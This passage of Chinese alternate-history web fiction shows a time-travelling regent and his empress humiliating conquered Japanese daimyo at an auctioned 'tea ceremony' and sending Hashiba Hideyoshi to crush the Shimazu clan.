你不是想当一个宁死不屈的精神领袖吗? 好啊朕偏不让你死! 朕还要让你风风光光地,当上我大乾的“国师”! 朕要让你亲眼看着,你那所谓清静无为的“侘寂”之道,是如何在朕金钱和权力的腐蚀之下,变得面目全非不伦不类! 朕要让你在无尽的,精神折磨和自我否定之中痛苦、屈辱地活下去! 这远比直接杀了他要残忍百倍千倍! 这才是对一个心高气傲的“圣人”最恶毒,也最致命的终极惩罚! “还愣着干什么?” 慕容嫣看着那两个还傻愣在原地的锦衣卫,声音又一次变得冰冷了起来。 “还不快去?!” “是!陛下!” 那两名锦衣卫如梦初醒,连忙领命而去。 他们的心中对这位年纪轻轻,但心思却比深渊还要难测的绝美女帝,充满了无尽的敬畏和恐惧。 他们知道那个倒霉的老茶头,这次是真的要完蛋了。伊丽莎白看着那两名锦衣卫领命而去,直到他们的身影彻底消失在船长室的门口,她才从那巨大的震惊中慢慢回过神来。 她走到慕容嫣的身边那双蓝宝石般的眼眸之中,充满了极其复杂的敬畏、好奇和一丝连她自己都未曾察觉的深深的恐惧。 “我的女皇陛下”她的声音有些干涩,“您……您真是个天生的魔鬼。” 她纵横四海这么多年,自认为见识过各种各样,心狠手辣的枭雄和暴君。 可她还从未见过像眼前这位东方女皇一样能将“杀人诛心”这四个字,玩得如此出神入化如此登峰造极的人! 她感觉自己以前所经历的那些所谓的“权谋”和“算计”,在眼前这位女皇陛下的“帝王心术”面前,简直就像是小孩子过家家幼稚得可笑。 “魔鬼吗?” 慕容嫣闻言却是自嘲地笑了笑。 她伸出那只白皙如玉的纤纤玉手,轻轻地抚摸着自己那,已经微微隆起的小腹。 那双冰冷的凤眸之中,闪过了一丝无人察觉的温柔和母性。 “或许吧。” 她低声地喃喃自语着“为了我的孩子为了我的国家,别说是当魔鬼了就算是变成真正的,从地狱里爬出来的恶鬼我也在所不惜。” 伊丽莎白看着她那在提起孩子时,瞬间变得温柔起来的侧脸,心中也是一阵,莫名的感慨。 她突然有些明白为什么林臻那个同样是比魔鬼还要可怕的男人,会为了她而心甘情愿地付出一切了。 因为他们根本就是同一类人。 他们都是那种为了自己所爱的人,可以不惜一切代价与全世界为敌的疯子。 ...... 大乾女皇陛下要三顾茅庐请“茶圣”千利休出山,担任“皇家茶道院”院长的消息。 像一阵十二级的超级台风,在短短的几天之内便席卷了整个倭国! 所有听到这个消息的倭国大名和武士们,全都彻彻底底地傻眼了。 他们怎么也没想到这位刚刚才用最血腥的手段,征服了他们国家的天朝女皇竟然会如此的“礼贤下士”? 竟然会对他们所敬仰的“茶圣”大人,如此的推崇和器重? 难道…… 难道那个关于“黑龙降世,天下归一”的古老预言是真的? 难道这位天朝女皇真的是天照大神派来拯救他们这些,生活在战乱和苦难之中的倭国子民的? 一时间所有倭国人的心中都充满了无比的矛盾和纠结。 他们既对这位强大的外来征服者,充满了本能的恐惧和敌意。 却又对她那看似“仁慈”和“宽厚”的怀柔政策,充满了不切实际的幻想和期待。 而就在整个倭国都因为这道突如其来的“恩旨”,而人心浮动议论纷纷的时候。 一个比这道“恩旨”还要更加劲爆,也更加具有颠覆性的重磅消息。 又一次从安土城传了出来! 大乾摄政王殿下那位如同神明一般,算无遗策战无不胜的东方战神。 将要在三日之后,于安土城的天守阁之内举办一场,史无前例盛大的“天下第一茶会”! 届时他将亲自为所有前来参加茶会的倭国大名们,泡上一杯来自于天朝上国的无上香茗! 并且他还将在茶会之上当着所有人的面,拍卖十个可以进入那新成立的“皇家茶道院”亲耳聆听“茶圣”千利休和那位来自于天朝的“得道高僧”棋牌佛,共同讲授“茶之大道”的宝贵名额! 价高者得! 轰! 这个消息像一颗威力比之前任何一次,都更加恐怖的超级核弹! 瞬间便在整个倭国的上流社会轰然引爆! 天下第一茶会? 亲尝天朝王爷泡的“无上香茗”? 拍卖可以进入“皇家茶道院”聆听两位“茶道之神”,共同讲道的宝贵名额? 天啊! 这……这简直是做梦都不敢想,天大的荣耀和机遇啊! 所有倭国的大名和武士们,全都彻彻底底疯狂了! 他们一个个都像是打了鸡血的疯狗一样! 他们变卖家产搜刮领地! 他们将自己领地之内所有值钱的东西金银、珠宝、古董、字画,甚至就连他们自己的老婆和女儿都毫不犹豫打包送往了安土城! 他们只有一个目的! 那就是不惜一切代价也要抢到那十个可以改变他们命运的宝贵名额! 他们知道这已经不仅仅是一场简单的茶会。 这是一场由那位深不可测的东方王爷亲手为他们这些倭国“新贵”,所举办的一场充满了血腥和机遇的权力盛宴! 谁能在这场盛宴之中拔得头筹。 谁就将成为这倭国新秩序之下最炙手可热的顶流新贵! 第1259章 这才哪到哪啊 而那些被淘汰出局的失败者。 则将永远地被钉在“粗鄙不堪,不懂风雅”的历史的耻辱柱上! 永世不得翻身! 一时间整个倭国都因为这场即将到来的“天下第一茶会”,而陷入了一种前所未有的病态的狂热之中! 而作为这场狂欢的始作俑者。 林臻和慕容嫣却是像两个事不关己的局外人一样。 正悠闲地坐在那“黑珍珠号”的甲板之上,一边吹着海风,一边喝着小酒。 “夫君你这一招‘釜底抽薪’玩得可真是越来越炉火纯青了。” 慕容嫣慵懒地靠在林臻的怀里,那双美丽的凤眸之中充满了毫不掩饰的崇拜和爱意。 她现在是真的,对自己的这个妖孽夫君佩服得五体投地了。 她感觉这个世界上,就没有他解决不了的难题。 也没有他算计不了的人心。 “这才哪到哪啊。” 林臻却是笑着刮了刮她那小巧挺翘的鼻尖,那双深邃的眼睛里闪烁着如同魔鬼一般的狡黠光芒。 “好戏才刚刚开始呢。” 海风带着微咸的暖意,拂动慕容嫣的鬓边碎发。 她慵懒地倚在林臻怀里,指间的水晶杯中,伊丽莎白珍藏的深红色酒液正随着船身轻微摇晃,漾开一圈圈醇香的涟漪。 今日她未着凤袍只穿了一件玄黑色的软缎长裙,裙上并无过多繁复的纹饰,唯有那只用真金线勾勒出的擎天巨凤,正以一种休憩的姿态盘踞着。 在午后明媚的阳光下那巨凤阖着双目,流动的金光在它每一根羽翼上跳跃,透出一种与主人如出一辙的、睥睨天下后的慵懒与惬意。 慕容嫣抿了一口酒任由那醇厚的果香在唇齿间弥漫开来。 她微微侧过绝美的脸庞,那双洞悉人心的凤眸凝视着林臻的眼睛。 “夫君。” 她的声音带着一丝笑意,却又藏着几分探究。 “这场‘天下第一茶会’明面上是为我大乾国库敛财,实则是在消耗倭国旧贵族的底蕴,为我们扶持新贵铺路。” “可我总觉得你的心思不止于此。” 慕容嫣的指尖轻轻划过冰凉的杯壁。 “搜刮他们的财富只是第一层。” “用‘茶道’这个名头,将他们分化、驯服是第二层。” “你真正的目的,究竟是什么?” 在她看来以林臻的手段,绝不会只满足于这点好处。 他布下如此惊天大局所图谋的,必然是一种更长远、也更可怕的东西。 用这种手段强行搜刮必然激起反弹。 除非他要的回报远比那些金银财宝本身要重要千倍、万倍! “钱?” 林臻听完嘴角勾起一抹玩味的弧度,眼底深处却是一片彻骨的冰冷。 他没有回答只是从慕容嫣手中,自然地接过了那杯葡萄酒。 仰头一饮而尽。 酒液入喉他将空了的水晶杯随手放在一旁,伸出手指轻轻勾起慕容嫣光洁的下巴迫使她直视自己。 那双深邃的眼眸里,闪动着一种令人心悸的魔性光芒。 “嫣儿,你觉得……一个民族的‘根’,是什么?” 他问道。 慕容嫣心头剧震一个极其可怕的念头,瞬间划过脑海。 林臻看着她骤然变化的脸低沉地笑了起来,笑声里满是掌控一切的绝对自信。 “钱,刮完了还会再长出来。” “但‘根’要是被刨了……” 他顿了顿一字一句道。 “就再也长不出来了。” 他伸出手将她揽得更紧下巴轻轻蹭着她柔顺的秀发,贪婪地嗅着那股能让他心安的兰花香气。 “我的傻嫣儿你把你的夫君想得太简单了。” “我搞这么大的阵仗若只为那点黄白之物,岂不是太掉价了?” “哦?”慕容嫣的好奇心被彻底勾起,“那你为了什么?” “人心。” 林臻的眼中掠过一丝狐狸般的狡黠。 “或者说是人性的弱点。” 他看着慕容嫣困惑的绝美脸庞笑着解释:“嫣儿,你想想什么东西最能体现一个人的身份和地位?” “权力?金钱?”慕容嫣试探着回答。 “没错但也不全对。” 林臻摇了摇头。 “权力是虚的金钱是俗的。对于那帮刚从泥腿子爬上来的倭国暴发户而言他们最渴望的,是一种能让他们区别于普通人的东西。” 他伸出一根手指轻轻点在慕容嫣的唇上。 “稀缺性。” 慕容嫣的眸光凝住了。 “对,就是稀缺性。”林臻的嘴角笑意愈发高深莫测。 “比如那只‘天下第一碗’,它本身真值几座城池?不,但织田信长之流为何愿为它一掷千金?” “因为它独一无二!” “拥有它,就等于拥有了一个别人永远无法企及的身份标签!” “我这次拍卖的十个‘皇家茶道院’名额,也是同样的道理。” “我就是要用这种限量、价高者得的方式人为地制造出‘稀缺性’!” “我要让那帮自以为是的倭国大名,为了争夺这十个看似无用实则代表‘品味’和‘地位’的虚名,争得头破血流倾家荡产!” 他声音渐冷每一个字都像是冰锥。 “我要让他们在此过程中,清清楚楚地认识到一个残酷的现实。” “在这片土地上谁才是那个唯一有资格,来定义‘高贵’和制定游戏规则的人!” “当他们为了我抛出的一根骨头,就疯狂地相互撕咬相互践踏时……” “他们所谓的武士尊严民族骄傲国家概念,就会被他们自己亲手撕得粉碎!” “到那时,他们不再是什么大名,什么枭雄。” 林臻的语气平静得可怕。 “他们只是一群为了争抢我手中残羹,而疯狂摇尾乞怜的听话的狗!” 这番话没有用任何华丽的辞藻,却如同一把最精准的手术刀,将人性深处最丑陋的贪婪与虚荣,血淋淋地剖开暴露在光天化日之下。 慕容嫣静静地听着。 她的夫君,不是在进行一场军事征服。 他是在进行一场从根源上,对一个民族的精神阉割! 他要的,不止是他们的土地和财富。 他要的,是他们的思想,他们的审美,他们的价值观! 他要将所有的一切,都打上“大乾”的烙印! 让这个国家从今往后,永远只能跟在他的身后亦步亦趋! 永远,只能去追捧他所定义的一切! “夫君……” 她抬起头,痴痴地看着这个仿佛能玩弄整个世界的男人,那双凤眸之中崇拜、痴迷、爱意交织成了滚烫的岩浆。 她主动凑上去,在他的唇上印下一个深情的吻。 “我真是,越来越爱你了。” …… 三日之后,安土城,天守阁。 这场被誉为“天下第一茶会”的权力盛宴,终于拉开了它华丽而残酷的序幕。 整个天守阁,被改造成了一座黄金与琉璃的宫殿。 地上铺着来自波斯的纯手工羊毛地毯,厚重得能吞噬掉一切声响,人走在上面悄无声息仿佛踏在云端。 第1260章 德川家康 墙壁上悬挂的尽是大乾当代书画名家的真迹,每一幅都由锦衣卫从大乾皇宫内库中“请”来,笔走龙蛇,气象万千,那厚重的墨香与殿内弥漫的南洋龙涎香奇异地混合在一起,形成一种令人头晕目眩的、名为“权势”的芬芳。 在场的绝大多数倭国大名,连在梦里都未曾闻过这种味道。 从倭国各地星夜兼程赶来的大名和武士们,一个个身着最华丽的服饰将所有能代表财力的东西都堆砌在了身上。 他们像一群急于开屏的孔雀,彼此审视,暗中较劲。 前一刻还在战场上以命相搏的死敌,此刻却能挤出虚伪的笑容,互相吹捧对方的和服料子是多么稀有,腰间的太刀刀鞘是多么华美。 每个人都生怕自己任何一个细节的疏忽,都会被那位高高在上的天朝王爷打上“粗鄙”的标签。 德川家康,这位在战国乱世中以隐忍著称的枭雄,此刻也收敛了全部的锋芒,他穿着一身看似朴素的深蓝色羽织,但袖口内衬的丝绸却是价值千金的宋锦。 他看着周围那些因为一件新奇摆设就大呼小叫的“同僚”,浑浊的老眼中闪过一丝不易察失的轻蔑,但旋即又被更深的忌惮所取代。 他明白,这场茶会就是一张滤网。 筛掉那些只有蛮力的蠢货,留下那些懂得“顺从”的聪明人。 而他,必须是那个最聪明的。 大厅内的气氛,在奢华的装饰下,显得愈发压抑。 金银器皿折射着烛火,晃得人眼花。 大名们跪坐在柔软的坐垫上,正襟危坐后背却早已被冷汗浸湿。 时间一分一秒地流逝。 那无形的压力,让每一个人都坐立难安。 终于。 “吱呀——” 大厅尽头那扇由整块金丝楠木雕琢而成的巨大殿门,被两名身穿飞鱼服的锦衣卫无声地向两侧推开。 一道璀璨的光从门外照了进来。 喧闹的大厅瞬间死寂。 所有人的呼吸,都在那一瞬间被夺走了。 他们看到了,此生从未见过的最美的女人。 和最强的男人。 议事大厅的正中央,那张由黄金和象牙打造的巨大主位之上,铺着一张完整的雪白虎皮。 慕容嫣就那么随意地侧身斜倚在上面单手支着下巴,那姿态慵懒而又充满了无上的威严。 她今日依旧穿着那身作为唯一寝衣的神凤降世裙。 在这金碧辉煌,极尽奢华的大厅之内,那极致玄黑的苏锦底料,仿佛是夜空中最深邃的一角,将周围所有的璀璨光芒,都吸纳了进去,反而衬托出一种更加神秘和高贵的气质。 而在她的身旁,林臻则是一身便服随意地坐在她的脚边,手里正拿着一把小小的银质茶匙,专注地摆弄着面前那套同样是由黄金打造的精美茶具。 他脸上的面巾已经摘下,那张英俊得不似凡人的脸庞,在烛光之下显得格外的柔和。 他看着慕容嫣的眼神,充满了宠溺和温柔,仿佛在他的眼中,整个世界都只剩下眼前这个他最心爱的女人。 而那个被誉为“茶道之神”的千利休,此刻却像一个最卑微的仆人一样,跪坐在林臻的下手边。 他那张布满了皱纹的老脸上,再也没有了之前的半点孤高和傲慢,只剩下了无尽的恭敬和虔诚。 他正在用一种近乎于朝圣般的姿态,小心翼翼地将那来自于天朝上国的,最顶级的“君山银针”,投入那只同样是由黄金打造的茶壶之中。 这一幕,彻底地颠覆了在场所有倭国大名的认知! 他们心中的“神”,那个让他们连见一面都觉得是无上荣耀的“茶圣”大人。 此刻竟然在给那个天朝王爷,当一个端茶倒水的卑贱茶童?! 这……这简直是,天方夜谭! 然而更让他们感到震惊和不可思议的还在后面。 只见林臻在用那金茶壶泡好了第一泡茶之后。 他并没有自己喝。 也没有给在场任何一个所谓的“倭国贵人”。 他只是将那第一杯散发着奇异兰花香气的金黄色茶汤,用一种无比温柔和珍视的姿态小心翼翼地端到了他怀中那位,绝美女皇的面前。 “嫣儿,尝尝。” 他的声音,轻柔得能滴出水来。 “这是夫君,特意为你泡的‘凤求凰’。” 慕容嫣看着他那双盛满了星光和爱意的深邃眼眸,那张绝美的俏脸上绽放出了一抹无比幸福和甜蜜的笑容。 她接过茶杯,轻轻地抿了一口。 一股无法用任何语言来形容的清冽的甘甜,瞬间在她的舌尖绽放开来。 那感觉就好像整个春天,都在她的口中融化了。 “好喝。” 她由衷地赞叹道。 “你喜欢就好。” 林臻得到她的夸奖,笑得像一个得到了糖果的孩子。 他那满足而又幸福的模样,让在场所有倭国大名,看得是目瞪口呆三观尽碎! 他们怎么也没想到。 那个在传说中,算无遗策杀伐决断如同神魔一般的东方战神。 在自己心爱的女人面前,竟然会是这么一副,充满了“舔狗”气息的,妻管严模样? 这……这反差也太大了吧?! 然而,就在他们还在为这对完全不按常理出牌的东方帝后的“神仙爱情”,感到震惊和不解的时候。 林臻接下来的话,却又一次让他们所有人的心都猛地提到了嗓子眼! “好了,第一杯茶我娘子喝了。” 林臻的脸上又重新恢复了那副,云淡风轻的淡定模样。 他缓缓地将第二杯茶倒入了那只,所有倭国大名都视若神明梦寐以求的“天下第一碗”——稻叶天目之中。 他用一种充满了玩味和戏谑的目光,扫了一眼殿下那群早已是一个个都伸长了脖子所谓的“倭国精英”们。 “现在,轮到你们了。” 他的嘴角勾起了一抹,如同魔鬼一般的邪魅笑容。 “这第二杯茶,以及那剩下的十个可以进入‘皇家茶道院’的宝贵名额。” “本王,现在正式开始拍卖!” “价高者得!” “现在开始你们的表演吧。” 轰! 林臻的这番话,像一颗被扔进了滚烫油锅里的超级炸弹! 瞬间便让整个议事大厅,彻底地沸腾了! 所有倭国的大名和武士们,全都像是被注入了最狂暴的兴奋剂的疯子! 他们一个个面红耳赤,声嘶力竭地,开始疯狂报价! “我!我出黄金一万两!外加我领地之内未来十年所有税收的一半!” 第1261章 不是一个名额那么简单 一个看起来身材肥胖满脑肠肥的地方大名,第一个站了出来用一种近乎于嘶吼的声音疯狂地叫道! 他知道,这不仅仅是一杯茶一个名额那么简单! 这是一种可以让他在未来的倭国新秩序之中,一步登天光宗耀耀祖的无上荣耀! 为此,别说是一半的税收了,就算是让他把自己的老婆孩子都给卖了他也在所不惜! “一万两?哼!你也太小看王爷殿下的这杯‘神之茶’了!” 他的话音刚落。 另一个看起来更加精明和阴鸷的大名便立刻站了出来,用一种充满了不屑和嘲讽的语气冷笑道。 “我毛利辉元,愿出黄金三万两!外加我毛利家世代珍藏的所有古董字画!只求能有幸品尝王爷殿下您亲手泡的这杯神茶!” “毛利辉元?你算个什么东西?!” “我上杉景胜,出黄金五万两!” “我长宗我部元亲,出十万两!” “我出二十万两!外加我麾下三千最精锐的铁炮队!愿为王爷殿下效犬马之劳!” 整个大厅彻底地变成了一个,充满了金钱和欲望的拍卖场! 那些平日里高高在上,不可一世的所谓的一方枭雄们。 此刻,全都撕下了他们那虚伪的面具。 露出了他们,最原始也最丑陋贪婪的嘴脸! 他们像一群,为了争抢一根骨头而相互撕咬,相互践踏的卑贱疯狗! 而林臻和慕容嫣,则像是两个高高在上的神明。 冷眼旁观着,脚下这群可怜虫们丑陋的表演。 那眼神里,充满了毫不掩饰的鄙夷和嘲弄。 这场充满了金钱、欲望和人性丑陋的疯狂拍卖会,一直持续了整整一个时辰。 最终,那十个所谓的“皇家茶道院”的宝贵名额被十个出价最高,也最懂得“表忠心”的地方大名以一个堪称是天文数字,恐怖的价格给瓜分殆尽。 而那第二杯,由林臻亲手用“天下第一碗”所泡的“神之茶”,则是被那个第一个站出来并且直接喊出了二十万两黄金,外加三千铁炮队天价的一个名不见经传的大名,给成功地拍了下来。 当那个幸运儿,用一种近乎于朝圣般无比虔诚的姿态,从林臻手中接过那只足以让他光宗耀祖名垂青史的“稻叶天目”时。 他整个人,都激动得浑身都在疯狂地颤抖! 他甚至舍不得去喝那杯茶。 在他眼中这杯“神茶”的价值早已超越了仙丹神药。 他只是将那只碗高高举过头顶,对着御座上的林臻与慕容嫣,用尽全身力气磕了三个响头。 砰! 砰! 砰! 沉闷的叩首声在大厅内回荡清晰得刺耳。 每一声都像一记无形的重锤,狠狠砸在那些竞拍失败的大名心口上。 他们的脸上,懊悔、嫉妒、怨毒、不甘……种种情绪交织,最终都化作了对权力的无尽渴望和对错失良机的刻骨悔恨。 林臻欣赏着眼前这幕滑稽的“百态图”,唇角勾起那笑意却未达眼底。 他赢了。 一场荒诞的茶会便将整个倭国的上层阶级彻底玩弄于股掌。 他刮走的不只是那足以让任何国家眼红心跳的巨额财富。 他种下的是一枚名为“大乾至上”的思想钢印,将深深烙进在场每个人的灵魂深处。 从今往后他们将不再以自己的民族为荣。 他们只会以得到大乾的认可与赏赐作为毕生追求的荣耀。 林臻缓缓从主位上站起。 他俯瞰着殿下那群仍未从刚才的疯狂中抽离的倭国大名,声音恢复了金属般的质感冷硬且不容置疑。 “好了,茶已喝过名额也已拍完。” “接下来,谈正事。” 此言一出,大厅内最后一丝嘈杂也消失了。 金碧辉煌的殿堂里,仿佛连烛火跳动的声音都停滞了。 所有大名下意识地挺直了腰杆,屏住呼吸连心跳声都仿佛被压抑住。 最后的审判到了。 “本王知道,你们都已宣誓效忠大乾。” 林臻的声音不大却清晰地钻进每个人的耳朵里,带着一股穿透人心的力量。 “但效忠不是靠嘴说的。” “本王要看你们的行动。” 他的目光落向墙上那副巨大的倭国堪舆图。 那上面山川、河流、城池被描绘得无比精细,那是他们穷尽一生都想要征服的土地。 林臻的手指抬起在空中划过一道弧线,最后重重地、不带一丝情感地点在地图最南端的一座岛屿上。 九州岛! “据本王所知”他唇角那抹弧度,浸满了杀伐之气“这片土地上似乎还有一两个不长眼的家伙。” 他的声音轻描淡写,却让殿下的温度骤然下降。 “不仅没来参加本王的茶会。” “还敢打着‘尊王攘夷’的旗号集结兵马,要与我大乾天兵顽抗到底?” 话音未落,殿下众大名的脸色齐齐剧变! 岛津家! 那个盘踞九州,以悍不畏死与精锐铁炮队闻名天下的硬骨头! 织田信长死后,唯一敢公然拒绝大乾“招安”,甚至扬言要将“天朝蛮夷”赶出倭国的战争狂人! 所有人的心,都沉了下去。 这位天朝王爷要拿最硬的骨头开刀立威了! 而一直闭目养神的德川家康此刻眼皮微微一跳,藏在袖中的手指节捏得发白,但脸上依旧是那副恭顺的模样。 “本王现在给你们一个证明忠诚的最后机会。” 林臻的声音宛如地狱深处的死神宣判,冰冷而清晰。 “谁愿为本王取来岛津义弘的项上人头?” “谁能为本王踏平那所谓的‘天下第一’萨摩隼人?” 他的声音顿了顿,每一个字都充满了魔鬼般的诱惑力,在空旷的大厅里激起层层回音。 “谁就能成为这九州岛新的主人!” 一瞬间的死寂之后,是贪婪的火山喷发! 整个大厅的空气都被点燃了! 九州岛! 倭国最富庶的鱼米之乡! 成为那里的主人,就意味着拥有了足以和“摄政关白”明智光秀分庭抗礼的资本! 这是一步登天的天赐良机! 短暂的震惊与权衡之后,所有大名眼中都燃起了野心的烈焰。 他们像一群被饥饿折磨到极致的饿狼,终于看到了主人扔下的血淋淋的鲜肉,再也顾不上任何体面与伪装! 争先恐后地跪倒在地用最卑微的姿态,表达着自己最疯狂的战斗决心! “王爷!陛下!小人毛利辉元,愿为二位殿下打这个头阵!” 毛利辉元第一个扑了出来额头重重磕在地上。 “我毛利家与岛津家世代为敌,对其战法了如指掌!只要王爷给小人三万兵马三个月内必将岛津义弘的人头双手奉上!” “放屁!毛利辉元,你这手下败将也敢在此饶舌?!” 一个长着猴脸,眼神闪烁着精明与欲望的大名猛地挤上前来,一把将毛利辉元推到一旁,语带讥讽地冷笑。 “王爷!陛下!请您相信小人!小人羽柴秀吉才是您最忠诚、最能干的狗!” 第1262章 天命之子 他毫不犹豫地自称是“狗”,这个词从他嘴里说出来不但没有丝毫耻辱,反而充满了无上的光荣与渴望。 “小人不要您一兵一卒!只要您将那刚刚组建的十万仆从军交由小人指挥!” 他重重叩首,声如洪钟! “小人愿立军令状!” “一个月!若拿不下九州岛小人提头来见!” 羽柴秀吉? 林臻看着地上那个尖嘴猴腮,却藏着滔天野望的“猴子”,嘴角勾起一抹真正的笑意。 丰臣秀吉。 没想到自己这只蝴蝶只是随意扇动了一下翅膀,就将这条本该潜于深渊的“真龙”给提前炸了出来。 有意思。 真是有意思。 林臻的心中对这场即将到来的“九州征伐”忽然多了几分期待。 他很想看看当自己这个异世的“天命之子”,对上这个本该“天命所归”的位面之子,究竟会碰撞出何等绚烂的火花。 就在林臻饶有兴致地打量着那只野心勃勃的“猴子”时。 就在殿下众犬为了那块肥肉争相吠叫,几乎要撕咬起来的时候。 一直静坐旁观仿佛置身事外的慕容嫣,缓缓地从那张雪白虎皮铺就的御座上站了起来。 她一动,整个大殿的喧嚣戛然而止。 所有人的目光,包括那只“猴子”都瞬间被吸引了过去。 那双俯瞰众生的凤眸里,带着一丝慵懒的笑意。 她今日依旧是穿着那身作为她唯一寝衣的神凤降世裙。 极致玄黑的苏锦底料,在议事大厅那充满了金钱和欲望的奢华氛围之中,仿佛变成了一片可以吞噬一切的无边黑夜。 那只用真金线绣成的擎天巨凤,更是凤目冰冷充满了一种高高在上属于神明的,绝对的漠然。 仿佛在它的眼中,脚下这群为了权力和利益而争得头破血流,所谓的“倭国英雄”们不过是一群,可怜又可笑的卑微蝼蚁。 “羽柴秀吉。” 她的声音,清冷而又充满了不容置疑的帝王威严。 “微臣在!” 羽柴秀吉的心脏像是被一只无形大手攥住,几乎停跳! 他猛地俯身,额头死死磕实在冰冷的地面上,姿态比面对昔日主君织田信长时,还要卑微百倍。 他很清楚那个慵懒斜倚在御座上的天朝王爷是神,是决定战争走向的绝对力量。 但眼前这位走下台阶的女帝,才是决定他这只“猴子”未来命运的真正主宰。 她看似美艳不可方物,心思却比脚下这座城池的无尽黑夜更加难测。 “你想要那十万仆从军的指挥权?” 慕容嫣的嗓音清冷唇角挑起的弧度,让羽柴秀吉看不出喜怒。 “是……是的,陛下!” 羽柴秀吉的声音抑制不住地发颤,混杂着极致的激动与恐惧。 他明白这是他一生最大的机遇,也是足以让他粉身碎骨的豪赌! 赢,则一步登天,成为倭国新秩序下最耀眼的新贵。 输,便万劫不复,连同野心一起化为尘埃。 “可以。” 两个字轻飘飘的却像惊雷在所有倭国大名的耳边炸响。 “什么?!” 大殿内所有人都懵了! 毛利辉元那张刚刚还因竞价失败而扭曲的脸,此刻更是写满了荒谬与嫉妒,他死死盯着羽柴秀吉的背影,眼神怨毒得能淬出毒汁。 凭什么? 凭什么是这只出身卑贱的猴子! 而一直垂首恭立仿佛老僧入定的德川家康,藏在宽大袖袍里的手掌指甲已经深深嵌入了肉里。 但他脸上没有丝毫波澜,只是眼皮微不可查地跳动了一下。 羽柴秀吉这条疯狗,一旦被松开了缰绳,第一个要咬的会是谁? 他们无法理解,这位天朝女帝为何如此“轻率”! 那是由十万倭国精锐武士组成的庞大军队,是足以横扫任何一方势力的绝对武力,竟如此轻易地交付给一个刚刚投降、名不见经传的“猴子”? 她难道不怕这猴子拥兵自重,反噬其主吗?! 就连羽柴秀吉本人,也被这突如其来的天恩砸得头晕目眩,巨大的狂喜让他大脑一片空白,片刻后才猛然惊醒! 他感觉自己像一个在沙漠中渴死边缘的旅人,忽然看到了一片无垠的绿洲。 那狂喜,几乎要将他的理智烧毁! “陛……陛下……” 他声音哽咽带着哭腔,巨大的情绪冲击让他涕泪横流,“您……您真的……愿意信任微臣?” “信任?” 慕容嫣看着他那副激动到近乎失态的模样,笑了,那笑容里带着洞悉一切的玩味和一丝冰冷的怜悯。 “朕不信你,羽柴秀吉。” “朕信的,是野心,是嫉妒,是你们每个人刻在骨子里的贪婪。” 她一边说,一边踱步走下台阶。 她身上的玄黑凤裙仿佛有生命一般,每走一步那金线绣成的巨凤都似在流动,冰冷的凤目扫视着殿下众人带来无声的威压。 她走过毛利辉元面前,那毫不掩饰的鄙夷眼神,让后者羞愤欲死却只能把头埋得更低。 她停在德川家康身侧,似笑非笑地瞥了他一眼,仿佛看穿了他内心所有的盘算。 最后,她站定在羽柴秀吉面前居高临下地俯视着他。 “朕知道,你们没人真心臣服。” “你们跪在这里摇尾乞怜,不过是因为我大乾的刀比你们的武士刀更锋利。” “不过是因为我们能赐予你们远超旧主的权力和财富。” 她的嘴角勾起一抹极尽嘲讽的冷意。 “所以朕根本不需要你们那廉价的忠诚。” “朕要的是把你们这群饥饿的野兽,关进同一个斗兽场!” “为了朕随手扔下的一块肉骨头,就拼命地相互撕咬相互残杀!” “而你,羽柴秀吉,就是朕选中的第一条被放出去的饿狼!” 慕容嫣的目光重新锁定在羽柴秀吉身上,那眼神锐利得像两柄出鞘的冰刀。 “你想要兵权,可以!” “但朕的恩赐,从来都不是白给的。” “朕不仅将仆从军交给你,还会将神机营最精锐的一千燧发枪手,以及足以轰平任何城池的一百门红衣大炮,一并赐你!” “他们会帮助你赢得胜利,当然也会作为朕的眼睛,看着你的一举一动。” “朕更会下令,命岳飞将军与伊丽莎白提督的海军,封锁九州沿海为你提供一切便利!” “朕给你所能想象到的一切,甚至更多!” 她的声音陡然转厉,每个字都淬着寒冰,砸在众人心头! “朕,只要一个结果!” “一场彻彻底底的,碾压式的完胜!” “朕要你一个月内,踏平九州!” “更要你将岛津家那数万所谓的‘萨摩隼人’,一个不留全部活捉回来!” “朕要扒光他们的铠甲,让他们告别武士的身份,给他们戴上最沉重的脚镣!” “送去石见银山为我大乾挖一辈子矿,让他们在黑暗潮湿的矿井里,用血和汗偿还他们对抗天兵的罪孽!” “让他们至死,都再也见不到天日!” 她向前一步,用只有羽柴秀吉能听到的声音,轻柔却带着无尽的残忍与霸道在他耳边低语。 “这份恩赐是通往天堂的阶梯,也是坠入地狱的深渊。” “你能做到吗?!” 这番血腥、疯狂又充满无上霸气的宣言,化作一场死亡风暴席卷了整座议事大厅。 所有倭国大名如坠冰窟,从头到脚一片冰凉头皮阵阵发麻! 第1263章 魔鬼契约 他们看着眼前这位美得不似凡人,行事却比传说中的修罗恶鬼还要酷烈疯狂的女帝,心中最后一丝侥幸与幻想彻底烟消云散。 他们终于明白了。 这位女皇陛下,正用最直接、最血腥的方式为他们所有人立下规矩! 顺她者,一步登天。 逆她者,便是岛津家的下场! 而那个被选中的羽柴秀吉,得到的究竟是无上荣光,还是催命符咒?没人知道。 羽柴秀吉的身体在剧烈颤抖,那不是恐惧而是野心被彻底点燃后的亢奋! 他听懂了。 女帝赐予他的不仅仅是兵权,更是一把悬在头顶的利剑。 赢,他将获得九州,成为一人之下万人之上的新贵。 输,或者有任何异心,那随军的一千神机营枪手和百门红衣大炮,会立刻将他和他的十万大军轰成齑粉! 这是一个用生命和灵魂做抵押的魔鬼契约! 但他接了! “微臣……羽柴秀吉!” 他抬起头满是泪水和鼻涕的脸上,此刻却绽放出一个无比狰狞而狂热的笑容。 他重重叩首,额头与冰冷的地面发出沉闷的撞击声! 砰! “愿为陛下,当最忠诚的狗!” 砰! “愿为陛下,咬碎所有敌人!” 砰! “若不能完成任务,微臣的头颅,便是陛下酒杯最好的装饰!” 他以最卑贱的姿态,立下了最疯狂的血誓。 御座之上,林臻端起茶杯指尖摩挲着温润的杯壁,目光却落在自己那位正在玩弄人心的妻子身上。 他唇角噙着一抹笑意,那是一种纯粹的、发自内心的欣赏。 好一招驱虎吞狼,养蛊制衡。 嫣儿这一手,远比他用百万大军的铁蹄直接踏平这片土地,要高明百倍。 武力征服的是肉体。 而她,正在摧毁灵魂。 她要打碎这群倭国枭雄引以为傲的脊梁,再用大乾的黄金与权柄,为他们重塑一副忠犬的骨架。 从此,他们只会为大乾的意志而战,为大乾的赏赐而死。 这场九州征伐,早已不是战争。 这是一场由他夫妻二人亲手导演,以人性为舞台,以欲望为演员的血腥大戏。 “很好。” 慕容嫣俯视着脚下那条彻底被欲望吞噬的“忠犬”,脸上终于浮现出一丝满意的笑。 她知道,九州这盘棋稳了。 